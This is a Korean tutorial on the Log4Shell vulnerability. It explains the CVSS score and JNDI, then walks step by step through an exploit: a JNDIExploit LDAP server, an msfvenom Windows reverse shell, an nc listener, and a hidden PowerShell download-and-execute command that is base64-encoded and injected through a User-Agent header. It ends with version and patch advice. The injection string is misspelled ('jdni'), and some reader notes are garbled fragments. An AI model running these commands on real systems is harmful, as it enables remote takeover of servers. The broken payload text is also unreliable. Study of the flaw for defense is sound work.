
Log4Shell (CVE-2021-44228): 설명, 익스플로잇 및 완화
2021년 12월 9일, 세계는 Log4J 관련 새로운 보안 결함을 알게 되었습니다. 이 취약점의 CVSSv3 (Common Vulnerability Scoring System) 점수는 10으로 평가되어 치명적 수준입니다(https://nvd.nist.gov/vuln/detail/CVE-2021-44228).
해당 CVSSv3 벡터는 다음과 같습니다: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H.
평가 이유를 완전히 이해할 수 있도록 각 값에 대해 설명하겠습니다:
Log4J는 Java 라이브러리로, 현재 Apache Software Foundation 프로젝트의 일부이며 애플리케이션의 상태를 모니터링할 수 있게 해줍니다.
Java 애플리케이션 로깅의 사실상 표준입니다.
이 취약점은 JNDI(Java Naming and Directory Interface)를 기반으로 합니다. JNDI는 애플리케이션이 외부 디렉터리 서비스(예: LDAP)와 상호작용할 수 있게 해주는 Java API입니다.
상호작용은 Log4J의 기본 구성에서 활성화된 JNDI의 lookup 기능을 통해 이루어지며, 원격 서버와의 상호작용을 가능하게 합니다.
독해에 도움이 되는 몇 가지 참고 사항:
10.0.0.1입니다.10.0.0.2입니다.x86입니다.http://hackme.com URL로 접속할 수 있습니다.| ❗ 주의 ❗ |
|---|
| 아래에 설명된 공격 기술은 해당 취약점의 실제 위험성을 이해하는 데에만 도움이 되어야 합니다. 저자는 이 글의 부적절한 사용을 거부하며 비난합니다. |
이 공격의 목표는 Log4Shell을 악용하여 취약한 시스템에 reverse shell을 다운로드 및 실행시켜 완전한 제어권을 얻는 것입니다.
wget https://github.com/feihong-cs/JNDIExploit/releases/download/v1.2/JNDIExploit.v1.2.zip
unzip JNDIExploit.v1.2.zip
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 10.0.0.1 -p 2222
msfvenom을 사용하여 Windows용 TCP reverse shell을 생성합니다. 이렇게 하면 8888번 포트에서 원격 머신 접근을 받을 수 있습니다.msfvenom -p windows/shell/reverse_tcp LHOST=10.0.0.1 LPORT=8888 -f exe > payload.exe
nc를 사용하여 8888번 포트에서 listener를 초기화하여 취약한 머신에 업로드된 reverse shell의 연결을 받습니다.nc -lvnp 8888
python3 -m http.server 4444
C:\windows\temp 디렉토리에 다운로드한 후 실행할 수 있습니다.powershell -ExecutionPolicy bypass -nop -windowstyle hidden -command (New-Object System.Net.WebClient).DownloadFile("http://10.0.0.1:4444/payload.exe", "C:\Windows\temp\payload.exe");Start-Process("C:\Windows\temp\payload.exe")
base64로 인코딩합니다.echo 'powershell -ExecutionPolicy bypass -nop -windowstyle hidden -command (New-Object System.Net.WebClient).DownloadFile("http://10.0.0.1:4444/payload.exe", "C:\Windows\temp\payload.exe");Start-Process("C:\Windows\temp\payload.exe")' | base64
위 명령의 결과는 다음과 같습니다.
cG93ZXJzaGVsbCAtRXhlY3V0aW9uUG9saWN5IGJ5cGFzcyAtbm9wIC13aW5kb3dzdHlsZSBoaWRkZW4gLWNvbW1hbmQgKE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQpLkRvd25sb2FkRmlsZSgiaHR0cDovLzEwLjAuMC4xOjQ0NDQvcGF5bG9hZC5leGUiLCAiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik7U3RhcnQtUHJvY2VzcygiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik=
User-Agent를 기록한다고 가정합니다. 공격자는 다음과 유사한 요청을 보냅니다:GET / HTTP/1.1
Host: hackme.com
User-Agent: ${jdni:ldap://10.0.0.1:1389/Basic/Command/Base64/cG93ZXJzaGVsbCAtRXhlY3V0aW9uUG9saWN5IGJ5cGFzcyAtbm9wIC13aW5kb3dzdHlsZSBoaWRkZW4gLWNvbW1hbmQgKE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQpLkRvd25sb2FkRmlsZSgiaHR0cDovLzEwLjAuMC4xOjQ0NDQvcGF5bG9hZC5leGUiLCAiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik7U3RhcnQtUHJvY2VzcygiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik=}
${jdni:ldap://10.0.0.1:1389/Basic/Command/Base64/cG93ZXJzaGVsbCAtRXhlY3V0aW9uUG9saWN5IGJ5cGFzcyAtbm9wIC13aW5kb3dzdHlsZSBoaWRkZW4gLWNvbW1hbmQgKE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQpLkRvd25sb2FkRmlsZSgiaHR0cDovLzEwLjAuMC4xOjQ0NDQvcGF5bG9hZC5leGUiLCAiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik7U3RhcnQtUHJvY2VzcygiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik=}
는 Log4J에 전달되어 해석되고, JNDI를 통해 공격자의 LDAP 서버로 요청을 보냅니다.
ldap://10.0.0.1:1389/Basic/Command/Base64/cG93ZXJzaGVsbCAtRXhlY3V0aW9uUG9saWN5IGJ5cGFzcyAtbm9wIC13aW5kb3dzdHlsZSBoaWRkZW4gLWNvbW1hbmQgKE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbnQpLkRvd25sb2FkRmlsZSgiaHR0cDovLzEwLjAuMC4xOjQ0NDQvcGF5bG9hZC5leGUiLCAiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik7U3RhcnQtUHJvY2VzcygiQzpcV2luZG93c1x0ZW1wXHBheWxvYWQuZXhlIik=
악성코드가 다운로드되어 실행됩니다.
공격자는 8888번 포트에서 머신의 쉘을 획득합니다.
우선, 이 취약점은 Java 또는 그 파생 제품(그리고 당연히 Log4J를 로깅 라이브러리로 사용하는 경우)을 사용하는 소프트웨어에만 해당된다는 점을 기억해야 합니다.
2.0-beta9 - 2.14.1: Log4Shell에 취약한 버전은 2.0-beta9부터 2.14.1까지입니다.2.15.0: Log4J 2.15.0 버전이 취약한 것으로 밝혀졌습니다. CVE-2021-45046. 현재 취약점 평가는 "9.0 Critical"입니다.2.16.0: Log4J 2.16.0 버전이 취약한 것으로 밝혀졌습니다. CVE-2021-45105. 현재 취약점 평가는 "7.5 High"입니다.Log4J의 1.x 버전은 해당 보안 결함에 직접적으로 취약하지는 않지만, 2015년에 폐기되었을 뿐만 아니라 다음 취약점의 영향을 받습니다: CVE-2021-4104.
가장 좋은 해결책은 Log4J를 2.17.0 버전으로 업데이트하는 것입니다.